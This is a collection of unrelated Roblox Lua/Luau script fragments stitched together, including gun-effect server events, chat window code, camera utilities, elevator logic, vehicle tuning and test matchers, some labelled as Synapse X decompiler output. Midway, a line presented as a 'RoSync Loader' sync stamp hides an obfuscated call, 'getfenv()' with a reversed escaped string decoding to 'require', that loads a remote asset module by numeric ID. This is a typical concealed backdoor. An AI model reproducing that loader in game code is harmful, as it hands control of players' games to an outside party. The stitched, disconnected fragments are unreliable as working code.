-0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0) L_104_.C1 = CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) elseif L_97_arg2 == "Unlean" then L_101_.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) L_102_.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) L_103_.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) if L_100_:FindFirstChild('Clone') then L_104_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) end elseif L_97_arg2 == "Patrol" then L_19_.C1 = L_98_arg3 elseif L_97_arg2 == "Unpatrol" then L_19_.C1 = CFrame.new() end end) L_38_.OnServerEvent:connect(function(L_105_arg1, L_106_arg2, L_107_arg3, L_108_arg4, L_109_arg5, L_110_arg6, L_111_arg7) local L_112_ = Instance.new("Part", workspace) L_112_.FormFactor = "Custom" L_112_.TopSurface = 0 L_112_.BottomSurface = 0 L_112_.Transparency = 1 L_112_.Anchored = true L_112_.CanCollide = false L_112_.Size = Vector3.new(0.5, 0, 0.5) L_112_.CFrame = CFrame.new(L_106_arg2) * CFrame.fromAxisAngle(L_107_arg3.magnitude == 0 and Vector3.new(1) or L_107_arg3.unit, L_108_arg4) L_112_.BrickColor = BrickColor.new("Really black") L_112_.Material = "SmoothPlastic" local L_113_ = Instance.new("Decal", L_112_) L_113_.Texture = "rbxassetid://64291977" L_113_.Face = "Top" game.Debris:AddItem(L_113_, 3) local L_114_ = Instance.new("PointLight", L_112_) L_114_.Color = Color3.new(0, 0, 0) L_114_.Range = 0 L_114_.Shadows = true for L_117_forvar1, L_118_forvar2 in pairs(game.Players:GetChildren()) do if L_118_forvar2:IsA('Player') and L_118_forvar2.Character and L_118_forvar2.Character.HumanoidRootPart and (L_118_forvar2.Character.HumanoidRootPart.Position - L_106_arg2).magnitude <= 30 then local L_119_ = Instance.new("Sound") L_119_.Name = "Crack" if L_111_arg7.Material == Enum.Material.Grass or L_111_arg7.Material == Enum.Material.Ice or L_111_arg7.Material == Enum.Material.Fabric or L_111_arg7.Material == Enum.Material.Pebble then L_119_.SoundId = "rbxassetid://" .. L_45_[math.random(1, #L_45_)] end if L_111_arg7.Material == Enum.Material.Sand then L_119_.SoundId = "rbxassetid://" .. L_46_[math.random(1, #L_46_)] end if L_111_arg7.Material == Enum.Material.Glass or L_111_arg7.Material == Enum.Material.Neon then L_119_.SoundId = "rbxassetid://" .. L_47_[math.random(1, #L_47_)] end if L_111_arg7.Material == Enum.Material.Wood or L_111_arg7.Material == Enum.Material.WoodPlanks then L_119_.SoundId = "rbxassetid://" .. L_48_[math.random(1, #L_48_)] end if L_111_arg7.Material == Enum.Material.Metal or L_111_arg7.Material == Enum.Material.CorrodedMetal or L_111_arg7.Material == Enum.Material.DiamondPlate then L_119_.SoundId = "rbxassetid://" .. L_49_[math.random(1, #L_49_)] end if L_111_arg7.Material == Enum.Material.Water then L_119_.SoundId = "rbxassetid://" .. L_50_[math.random(1, #L_50_)] end if L_111_arg7.Material == Enum.Material.Concrete or L_111_arg7.Material == Enum.Material.Plastic or L_111_arg7.Material == Enum.Material.SmoothPlastic or L_111_arg7.Material == Enum.Material.Slate or L_111_arg7.Material == Enum.Material.Foil or L_111_arg7.Material == Enum.Material.Brick or L_111_arg7.Material == Enum.Material.Granite or L_111_arg7.Material == Enum.Material.Marble or L_111_arg7.Material == Enum.Material.Cobblestone then L_119_.SoundId = "rbxassetid://" .. L_51_[math.random(1, #L_51_)] end L_119_.EmitterSize = 10 L_119_.MaxDistance = 30 L_119_.Parent = L_118_forvar2.PlayerGui L_119_:play() game.Debris:AddItem(L_112_, 3) end end; local L_115_ local L_116_ if L_110_arg6 == "Part" then L_115_ = L_31_:WaitForChild("Spark"):clone() L_115_.Parent = L_112_ L_115_.EmissionDirection = "Top" L_116_ = L_31_:WaitForChild("Smoke"):clone() L_116_.Parent = L_112_ L_116_.EmissionDirection = "Top" L_115_.Enabled = true L_116_.Enabled = true game.Debris:AddItem(L_115_, 1) game.Debris:AddItem(L_116_, 1) delay(0.1, function() L_115_.Enabled = false L_116_.Enabled = false end) elseif L_110_arg6 == "Human" then L_115_ = L_31_:WaitForChild("Blood"):clone() L_115_.Parent = L_112_ L_115_.EmissionDirection = "Top" L_115_.Enabled = true game.Debris:AddItem(L_115_, 1) delay(0.1, function() L_115_.Enabled = false end) end end) L_40_.OnServerEvent:connect(function(L_120_arg1, L_121_arg2) L_40_:FireAllClients(L_120_arg1, L_121_arg2) end) L_41_.OnServerEvent:connect(function(L_122_arg1, L_123_arg2) local L_124_ = Instance.new('Part', workspace) L_124_.Size = Vector3.new(0.1, 0.1, 0.1) L_124_.Transparency = 1 L_124_.CanCollide = false L_124_.Anchored = true L_124_.Position = L_123_arg2 local L_125_ = Instance.new('Explosion', workspace) L_125_.Position = L_123_arg2 L_125_.BlastPressure = L_12_.BlastPressue L_125_.BlastRadius = L_12_.BlastRadius L_125_.DestroyJointRadiusPercent = L_12_.DestroyJointRadius L_125_.ExplosionType = L_12_.ExplosionType local L_126_ = L_31_:WaitForChild('ExplosionSound'):clone() L_126_.Parent = L_124_ L_126_:Play() game:GetService('Debris'):AddItem(L_124_, L_126_.TimeLength) end) L_43_.OnServerEvent:connect(function(L_127_arg1, L_128_arg2) for L_129_forvar1, L_130_forvar2 in pairs(game.Players:GetChildren()) do if L_130_forvar2:IsA('Player') and L_130_forvar2.PlayerGui:FindFirstChild('MainGui') and L_130_forvar2.PlayerGui.MainGui:FindFirstChild('Shading') then for L_131_forvar1, L_132_forvar2 in pairs(L_130_forvar2.Character:GetChildren()) do if L_132_forvar2:IsA('Tool') and L_132_forvar2:FindFirstChild('Resource') and L_132_forvar2.Resource:FindFirstChild('Events') and L_132_forvar2.Resource.Events:FindFirstChild('ServerFXEvent') then L_132_forvar2.Resource.Events.ServerFXEvent:FireClient(L_130_forvar2, L_128_arg2, L_2_) end end end end end) L_44_.OnServerEvent:connect(function(L_133_arg1, L_134_arg2, L_135_arg3) L_134_arg2.SoundId = 'rbxassetid://' .. L_135_arg3 L_134_arg2:Play() end)
-- Set up the click event handlers for each button
for _, button in ipairs(dock:GetChildren()) do if button:IsA("ImageButton") then button.MouseButton1Click:Connect(function() local Click = script.Click Click:Play() end) end end
--manually add the rest --table.insert(_G.Safezones, {["Position"] = workspace.SpeciesSelectionArea.SpiritSelectionAnchor.Position, ["Magnitude"] = workspace.SpeciesSelectionArea.SpiritSelectionAnchor.Radius.Value, ["Spawn"] = true})
table.insert(_G.Safezones, workspace.BiomeSelectionArea.SpawnSelectionAnchor.CFrame) for _,part in pairs(workspace.SpawnParts:GetChildren()) do table.insert(_G.Safezones, part.CFrame) end
--//////////////////////////////////////////////////////////////////////////////////////////// --///////////// Code to talk to topbar and maintain set/get core backwards compatibility stuff --////////////////////////////////////////////////////////////////////////////////////////////
local Util = {} do function Util.Signal() local sig = {} local mSignaler = Instance.new('BindableEvent') local mArgData = nil local mArgDataCount = nil function sig:fire(...) mArgData = {...} mArgDataCount = select('#', ...) mSignaler:Fire() end function sig:connect(f) if not f then error("connect(nil)", 2) end return mSignaler.Event:connect(function() f(unpack(mArgData, 1, mArgDataCount)) end) end function sig:wait() mSignaler.Event:wait() assert(mArgData, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.") return unpack(mArgData, 1, mArgDataCount) end return sig end end function SetVisibility(val) ChatWindow:SetVisible(val) moduleApiTable.VisibilityStateChanged:fire(val) moduleApiTable.Visible = val if (moduleApiTable.IsCoreGuiEnabled) then if (val) then InstantFadeIn() else InstantFadeOut() end end end do moduleApiTable.TopbarEnabled = true moduleApiTable.MessageCount = 0 moduleApiTable.Visible = true moduleApiTable.IsCoreGuiEnabled = true function moduleApiTable:ToggleVisibility() SetVisibility(not ChatWindow:GetVisible()) end function moduleApiTable:SetVisible(visible) if (ChatWindow:GetVisible() ~= visible) then SetVisibility(visible) end end function moduleApiTable:FocusChatBar() ChatBar:CaptureFocus() end function moduleApiTable:GetVisibility() return ChatWindow:GetVisible() end function moduleApiTable:GetMessageCount() return self.MessageCount end function moduleApiTable:TopbarEnabledChanged(enabled) self.TopbarEnabled = enabled self.CoreGuiEnabled:fire(game:GetService("StarterGui"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat)) end function moduleApiTable:IsFocused(useWasFocused) return ChatBar:IsFocused() end moduleApiTable.ChatBarFocusChanged = Util.Signal() moduleApiTable.VisibilityStateChanged = Util.Signal() moduleApiTable.MessagesChanged = Util.Signal() moduleApiTable.MessagePosted = Util.Signal() moduleApiTable.CoreGuiEnabled = Util.Signal() moduleApiTable.ChatMakeSystemMessageEvent = Util.Signal() moduleApiTable.ChatWindowPositionEvent = Util.Signal() moduleApiTable.ChatWindowSizeEvent = Util.Signal() moduleApiTable.ChatBarDisabledEvent = Util.Signal() function moduleApiTable:fChatWindowPosition() return ChatWindow.GuiObject.Position end function moduleApiTable:fChatWindowSize() return ChatWindow.GuiObject.Size end function moduleApiTable:fChatBarDisabled() return not ChatBar:GetEnabled() end function moduleApiTable:SpecialKeyPressed(key, modifiers) if (key == Enum.SpecialKey.ChatHotkey) then if canChat then DoChatBarFocus() end end end end moduleApiTable.CoreGuiEnabled:connect(function(enabled) moduleApiTable.IsCoreGuiEnabled = enabled enabled = enabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff) ChatWindow:SetCoreGuiEnabled(enabled) if (not enabled) then ChatBar:ReleaseFocus() InstantFadeOut() else InstantFadeIn() end end) function trimTrailingSpaces(str) local lastSpace = #str while lastSpace > 0 do --- The pattern ^%s matches whitespace at the start of the string. (Starting from lastSpace) if str:find("^%s", lastSpace) then lastSpace = lastSpace - 1 else break end end return str:sub(1, lastSpace) end moduleApiTable.ChatMakeSystemMessageEvent:connect(function(valueTable) if (valueTable["Text"] and type(valueTable["Text"]) == "string") then while (not DidFirstChannelsLoads) do wait() end local channel = ChatSettings.GeneralChannelName local channelObj = ChatWindow:GetChannel(channel) if (channelObj) then local messageObject = { ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = channel, IsFiltered = true, MessageLength = string.len(valueTable.Text), Message = trimTrailingSpaces(valueTable.Text), MessageType = ChatConstants.MessageTypeSetCore, Time = os.time(), ExtraData = valueTable, } channelObj:AddMessageToChannel(messageObject) ChannelsBar:UpdateMessagePostedInChannel(channel) moduleApiTable.MessageCount = moduleApiTable.MessageCount + 1 moduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount) end end end) moduleApiTable.ChatBarDisabledEvent:connect(function(disabled) if canChat then ChatBar:SetEnabled(not disabled) if (disabled) then ChatBar:ReleaseFocus() end end end) moduleApiTable.ChatWindowSizeEvent:connect(function(size) ChatWindow.GuiObject.Size = size end) moduleApiTable.ChatWindowPositionEvent:connect(function(position) ChatWindow.GuiObject.Position = position end)
-- This function converts 4 different, redundant enumeration types to one standard so the values can be compared
function CameraUtils.ConvertCameraModeEnumToStandard(enumValue: Enum.TouchCameraMovementMode | Enum.ComputerCameraMovementMode | Enum.DevTouchCameraMovementMode | Enum.DevComputerCameraMovementMode): Enum.ComputerCameraMovementMode | Enum.DevComputerCameraMovementMode if enumValue == Enum.TouchCameraMovementMode.Default then return Enum.ComputerCameraMovementMode.Follow end if enumValue == Enum.ComputerCameraMovementMode.Default then return Enum.ComputerCameraMovementMode.Classic end if enumValue == Enum.TouchCameraMovementMode.Classic or enumValue == Enum.DevTouchCameraMovementMode.Classic or enumValue == Enum.DevComputerCameraMovementMode.Classic or enumValue == Enum.ComputerCameraMovementMode.Classic then return Enum.ComputerCameraMovementMode.Classic end if enumValue == Enum.TouchCameraMovementMode.Follow or enumValue == Enum.DevTouchCameraMovementMode.Follow or enumValue == Enum.DevComputerCameraMovementMode.Follow or enumValue == Enum.ComputerCameraMovementMode.Follow then return Enum.ComputerCameraMovementMode.Follow end if enumValue == Enum.TouchCameraMovementMode.Orbital or enumValue == Enum.DevTouchCameraMovementMode.Orbital or enumValue == Enum.DevComputerCameraMovementMode.Orbital or enumValue == Enum.ComputerCameraMovementMode.Orbital then return Enum.ComputerCameraMovementMode.Orbital end if enumValue == Enum.ComputerCameraMovementMode.CameraToggle or enumValue == Enum.DevComputerCameraMovementMode.CameraToggle then return Enum.ComputerCameraMovementMode.CameraToggle end -- Note: Only the Dev versions of the Enums have UserChoice as an option if enumValue == Enum.DevTouchCameraMovementMode.UserChoice or enumValue == Enum.DevComputerCameraMovementMode.UserChoice then return Enum.DevComputerCameraMovementMode.UserChoice end -- For any unmapped options return Classic camera return Enum.ComputerCameraMovementMode.Classic end local function getMouse() local localPlayer = Players.LocalPlayer if not localPlayer then Players:GetPropertyChangedSignal("LocalPlayer"):Wait() localPlayer = Players.LocalPlayer end assert(localPlayer) return localPlayer:GetMouse() end local savedMouseIcon: string = "" local lastMouseIconOverride: string? = nil function CameraUtils.setMouseIconOverride(icon: string) local mouse = getMouse() -- Only save the icon if it was written by another script. if mouse.Icon ~= lastMouseIconOverride then savedMouseIcon = mouse.Icon end mouse.Icon = icon lastMouseIconOverride = icon end function CameraUtils.restoreMouseIcon() local mouse = getMouse() -- Only restore if it wasn't overwritten by another script. if mouse.Icon == lastMouseIconOverride then mouse.Icon = savedMouseIcon end lastMouseIconOverride = nil end local savedMouseBehavior: Enum.MouseBehavior = Enum.MouseBehavior.Default local lastMouseBehaviorOverride: Enum.MouseBehavior? = nil function CameraUtils.setMouseBehaviorOverride(value: Enum.MouseBehavior) if UserInputService.MouseBehavior ~= lastMouseBehaviorOverride then savedMouseBehavior = UserInputService.MouseBehavior end UserInputService.MouseBehavior = value lastMouseBehaviorOverride = value end function CameraUtils.restoreMouseBehavior() if UserInputService.MouseBehavior == lastMouseBehaviorOverride then UserInputService.MouseBehavior = savedMouseBehavior end lastMouseBehaviorOverride = nil end local savedRotationType: Enum.RotationType = Enum.RotationType.MovementRelative local lastRotationTypeOverride: Enum.RotationType? = nil function CameraUtils.setRotationTypeOverride(value: Enum.RotationType) if UserGameSettings.RotationType ~= lastRotationTypeOverride then savedRotationType = UserGameSettings.RotationType end UserGameSettings.RotationType = value lastRotationTypeOverride = value end function CameraUtils.restoreRotationType() if UserGameSettings.RotationType == lastRotationTypeOverride then UserGameSettings.RotationType = savedRotationType end lastRotationTypeOverride = nil end return CameraUtils
---- ----
if hit.Parent:findFirstChild("Humanoid") ~= nil then local target1 = "RightUpperLeg" local target2 = "RightUpperLeg2" if hit.Parent:findFirstChild(target2) == nil then local g = script.Parent.Parent[target2]:clone() g.Parent = hit.Parent local C = g:GetChildren() for i=1, #C do if C[i].className == "UnionOperation" or C[i].className =="Part" or C[i].className == "WedgePart" or C[i].className == "MeshPart" then local W = Instance.new("Weld") W.Part0 = g.Middle W.Part1 = C[i] local CJ = CFrame.new(g.Middle.Position) local C0 = g.Middle.CFrame:inverse()*CJ local C1 = C[i].CFrame:inverse()*CJ W.C0 = C0 W.C1 = C1 W.Parent = g.Middle end local Y = Instance.new("Weld") Y.Part0 = hit.Parent[target1] Y.Part1 = g.Middle Y.C0 = CFrame.new(0, 0, 0) Y.Parent = Y.Part0 end local h = g:GetChildren() for i = 1, # h do h[i].Anchored = false h[i].CanCollide = false end end end
--[[ [Whether the whole character turns to face the mouse.] [If set to true, MseGuide will be set to true and both HeadHorFactor and BodyHorFactor will be set to 0] --]]
local TurnCharacterToMouse = true
--[=[ @return Keyboard Constructs a new keyboard input capturer. ```lua local keyboard = Keyboard.new() ``` ]=]
function Keyboard.new() local self = setmetatable({}, Keyboard) self._trove = Trove.new() self.KeyDown = self._trove:Construct(Signal) self.KeyUp = self._trove:Construct(Signal) self:_setup() return self end
--Functions
local function onTouched(hit) local Humanoid = hit.Parent:FindFirstChild("Humanoid") local player = game.Players:GetPlayerFromCharacter(hit.Parent) if Humanoid and Debounce == false then local leaderstats = player:FindFirstChild("leaderstats") Debounce = true if Debounce == true and leaderstats then local sound = script.Parent["Game Sound Correct"] if not sound.IsPlaying then sound:Play() Debounce = false leaderstats.Guesses.Value = leaderstats.Guesses.Value + AMOUNT_GIVEN wait(2) wait(10) end end end end
--[[ SCRIPT VARIABLES ]]
local CHAT_BUBBLE_FONT = Enum.Font.Fantasy local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10 local CHAT_BUBBLE_TAIL_HEIGHT = 14 local CHAT_BUBBLE_WIDTH_PADDING = 30 local CHAT_BUBBLE_FADE_SPEED = 1.5 local BILLBOARD_MAX_WIDTH = 400 local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters local ELIPSES = "..." local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses. local MaxChatMessageLengthExclusive if FFlagUserChatNewMessageLengthCheck2 then MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1 else MaxChatMessageLengthExclusive = MaxChatMessageLength - string.len(ELIPSES) - 1 end local NEAR_BUBBLE_DISTANCE = 65 --previously 45 local MAX_BUBBLE_DISTANCE = 100 --previously 80
--
script.Parent.OnServerEvent:Connect(function(p) local Character = p.Character local Humanoid = Character.Humanoid local RootPart = Character.HumanoidRootPart local Slash1 = RS.Effects.Part1:Clone() local Anim = Humanoid:LoadAnimation(script.Animation) Anim:Play() Humanoid.WalkSpeed = 10 script.Attack:Play() Slash1.Parent = FX Slash1.CFrame = RootPart.CFrame * CFrame.new(0,0,-3) local BV = Instance.new("BodyVelocity",Slash1) BV.MaxForce = Vector3.new(math.huge,math.huge,math.huge) BV.Velocity = p.Character.HumanoidRootPart.CFrame.LookVector * 60 Slash1.Touched:Connect(function(hit) if hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Name ~= p.Name then hit.Parent.Humanoid:TakeDamage(Damage) local HitEffect = Effects.Hit1.Attachment:Clone() local RootPart2 = hit.Parent.HumanoidRootPart HitEffect.Parent = RootPart2 for _,Particles in pairs(HitEffect:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles:Emit(Particles:GetAttribute("EmitCount")) end end HitEffect.Hit:Play() local vel = Instance.new("BodyVelocity", RootPart2) vel.MaxForce = Vector3.new(1,1,1) * 1000000; vel.Parent = RootPart2 vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0 vel.Name = "SmallMoveVel" game.Debris:AddItem(vel,1) Slash1:Destroy() end wait(1) Slash1.Anchored = true for _,Particles in pairs(Slash1.Part.Parent:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles.Enabled = false end end Slash1.PointLight.Enabled = false end) end)
--//Setup//--
local Holder = script.Parent.Holder
--[=[ Cleans up all objects in the trove. This is similar to calling `Remove` on each object within the trove. ]=]
function Trove:Clean() for _,obj in ipairs(self._objects) do self:_cleanupObject(obj[1], obj[2]) end table.clear(self._objects) end function Trove:_cleanupObject(object, cleanupMethod) if cleanupMethod == FN_MARKER then object() elseif cleanupMethod == THREAD_MARKER then coroutine.close(object) else object[cleanupMethod](object) end end
-- Services
local playersService = game:GetService("Players") local tweenService = game:GetService("TweenService") local part = script.Parent
--[[** matches given tuple against tuple type definition @param ... The type definition for the tuples @returns A function that will return true iff the condition is passed **--]]
function t.tuple(...) local checks = {...} return function(...) local args = {...} for i = 1, #checks do local success, errMsg = checks[i](args[i]) if success == false then return false, string.format("Bad tuple index #%d:\n\t%s", i, errMsg or "") end end return true end end
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Maroon",Paint) end)
--[[ Last synced 12/13/2020 04:13 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--- Sets a metatable on a table such that it errors when -- indexing a nil value -- @tparam table _table Table to error on indexing -- @treturn table _table The same table
function Table.readonly(_table) return setmetatable(_table, { __index = function(self, index) error(("Bad index %q"):format(tostring(index)), 2) end; __newindex = function(self, index, value) error(("Bad index %q"):format(tostring(index)), 2) end; }) end
-- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__1 = game.Players.LocalPlayer; local v2 = {}; local l__LocalPlayer__3 = game.Players.LocalPlayer; local v4 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaDataModule")); v2.value = 250; v2.event = v4.event.Revives; v4.event.Revives.Event:connect(function(p1) if type(p1) == "number" then v2.value = p1; return; end; v2.value = 250; end); v2.value = v4.data.Revives; return v2;
--calls
caf.Call1.Changed:Connect(function() if vaf.Moving.Value == true then else if vaf.IsOnFirstFloor.Value == true then caf.Call1.Value = false else caf.Call1.Value = false vaf.Moving.Value = true -- door2.Close:Fire() wait(sef.DoorMoveTime.Value) wait(sef.StartMovingDelayTime.Value) elev2.SoundBrick.Brick.MoveSound:Play() elev1.SoundBrick.Brick.MoveSound:Play() elev1.SoundBrick.Brick.MoveSound.Volume = 0 wait(sef.TravelTime.Value) elev2.TeleportBrick.CanTouch = true wait(0.2) elev2.TeleportBrick.CanTouch = false elev2.SoundBrick.Brick.MoveSound:Stop() elev1.SoundBrick.Brick.MoveSound.Volume = sef.DefaultMoveSoundLoudness.Value wait(sef.DoorDelayTime.Value) door1.Open:Fire() -- vaf.Moving.Value = false vaf.IsOnFirstFloor.Value = true end end end) caf.Call2.Changed:Connect(function() if vaf.Moving.Value == true then else if vaf.IsOnFirstFloor.Value == false then caf.Call2.Value = false else caf.Call2.Value = false vaf.Moving.Value = true -- door1.Close:Fire() wait(sef.DoorMoveTime.Value) wait(sef.StartMovingDelayTime.Value) elev1.SoundBrick.Brick.MoveSound:Play() elev2.SoundBrick.Brick.MoveSound:Play() elev2.SoundBrick.Brick.MoveSound.Volume = 0 vaf.Moving.Value = true wait(sef.TravelTime.Value) elev1.TeleportBrick.CanTouch = true wait(0.2) elev1.TeleportBrick.CanTouch = false elev1.SoundBrick.Brick.MoveSound:Stop() elev2.SoundBrick.Brick.MoveSound.Volume = sef.DefaultMoveSoundLoudness.Value wait(sef.DoorDelayTime.Value) door2.Open:Fire() -- vaf.Moving.Value = false vaf.IsOnFirstFloor.Value = false end end end)
---Basic_Settings:---
local light = true -- Set to false if u dont have light added local maxv = 150 -- Max Speed In REAL KT.. Check Online for the real Aviation speed for this plane local minspeed = -30 -- min speed In real KT local Spd_keep = true-- Set to false if U dont want the function to Speed up/down if u hold M/N down, and after release it stops
-- ROBLOX deviation: toBeFalsy checks for Lua falsy values, not JS falsy values
local function toBeFalsy( -- ROBLOX deviation: self param in Lua needs to be explicitely defined self: MatcherState, received: any, expected: nil ) local matcherName = "toBeFalsy" local options: MatcherHintOptions = { isNot = self.isNot, promise = self.promise, } ensureNoExpected(expected, matcherName, options) local pass = not received local message = function() return matcherHint(matcherName, nil, "", options) .. "\n\n" .. string.format("Received: %s", printReceived(received)) end return { message = message, pass = pass } end local function toBeGreaterThan( -- ROBLOX deviation: self param in Lua needs to be explicitely defined self: MatcherState, received: number, expected: number ) local matcherName = "toBeGreaterThan" local isNot = self.isNot local options: MatcherHintOptions = { isNot = isNot, promise = self.promise, } ensureNumbers(received, expected, matcherName, options) local pass = received > expected local message = function() return matcherHint(matcherName, nil, nil, options) .. "\n\n" .. string.format("Expected:%s > %s\n", isNot and " never" or "", printExpected(expected)) .. string.format("Received:%s %s", isNot and " " or "", printReceived(received)) end return { message = message, pass = pass } end local function toBeGreaterThanOrEqual( -- ROBLOX deviation: self param in Lua needs to be explicitely defined self: MatcherState, received: number, expected: number ) local matcherName = "toBeGreaterThanOrEqual" local isNot = self.isNot local options: MatcherHintOptions = { isNot = isNot, promise = self.promise, } ensureNumbers(received, expected, matcherName, options) local pass = received >= expected local message = function() return matcherHint(matcherName, nil, nil, options) .. "\n\n" .. string.format("Expected:%s >= %s\n", isNot and " never" or "", printExpected(expected)) .. string.format("Received:%s %s", isNot and " " or "", printReceived(received)) end return { message = message, pass = pass } end
--[=[ @param object any -- Object to remove Removes the object from the Trove and cleans it up. ```lua local part = Instance.new("Part") trove:Add(part) trove:Remove(part) ``` ]=]
function Trove:Remove(object: any): boolean if self._cleaning then error("Cannot call trove:Remove() while cleaning", 2) end return self:_findAndRemoveFromObjects(object, true) end
--[=[ Callable to allow manual GC so things can properly clean up. This can be used to pre-emptively cleanup players. @param player Player ]=]
function PlayerDataStoreManager:RemovePlayerDataStore(player) self:_removePlayerDataStore(player) end
--[[Engine]]
--Torque Curve Tune.Horsepower = 650 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 11000 -- Use sliders to manipulate values Tune.Redline = 13000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--[=[ Returns whether the attribute is a valid type or not for an attribute. ```lua print(AttributeUtils.isValidAttributeType(typeof("hi"))) --> true ``` @param valueType string @return boolean ]=]
function AttributeUtils.isValidAttributeType(valueType) return VALID_ATTRIBUTE_TYPES[valueType] == true end
-- To display lines of labeled values as two columns with monospac alignment: -- given the strings which will describe the values, -- return function which given each string, returns the label: -- stirng, colon, space, and enough padding spaces to align the value.
type PrintLabel = (string) -> string
--- Overwrites a table's value -- @function Table.deepOverwrite -- @tparam table target Target table -- @tparam table source Table to read from -- @treturn table target
local function deepOverwrite(target, source) for index, value in pairs(source) do if type(target[index]) == "table" and type(value) == "table" then target[index] = deepOverwrite(target[index], value) else target[index] = value end end return target end Table.deepOverwrite = deepOverwrite
--script.Parent.AAA.Velocity = script.Parent.AAA.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.AAAA.Velocity = script.Parent.AAAA.CFrame.lookVector *script.Parent.Speed.Value script.Parent.B.Velocity = script.Parent.B.CFrame.lookVector *script.Parent.Speed.Value script.Parent.BB.Velocity = script.Parent.BB.CFrame.lookVector *script.Parent.Speed.Value
--// Touch Connections
L_3_:WaitForChild('Humanoid').Touched:connect(function(L_261_arg1) local L_262_, L_263_ = SearchResupply(L_261_arg1) if L_262_ then L_78_ = L_23_.Ammo L_79_ = L_23_.StoredAmmo * L_23_.MagCount if L_40_:FindFirstChild('Resupply') then L_40_.Resupply:Play() end end; end)
-- Decompiled with the Synapse X Luau decompiler.
return { Name = "math", Aliases = {}, Description = "Perform a math operation on 2 values.", Group = "DefaultUtil", AutoExec = { "alias \"+|Perform an addition.\" math + $1{number|Number} $2{number|Number}", "alias \"-|Perform a subtraction.\" math - $1{number|Number} $2{number|Number}", "alias \"*|Perform a multiplication.\" math * $1{number|Number} $2{number|Number}", "alias \"/|Perform a division.\" math / $1{number|Number} $2{number|Number}", "alias \"**|Perform an exponentiation.\" math ** $1{number|Number} $2{number|Number}", "alias \"%|Perform a modulus.\" math % $1{number|Number} $2{number|Number}" }, Args = { { Type = "mathOperator", Name = "Operation", Description = "A math operation." }, { Type = "number", Name = "Value", Description = "A number value." }, { Type = "number", Name = "Value", Description = "A number value." } }, ClientRun = function(p1, p2, p3, p4) return p2.Perform(p3, p4); end };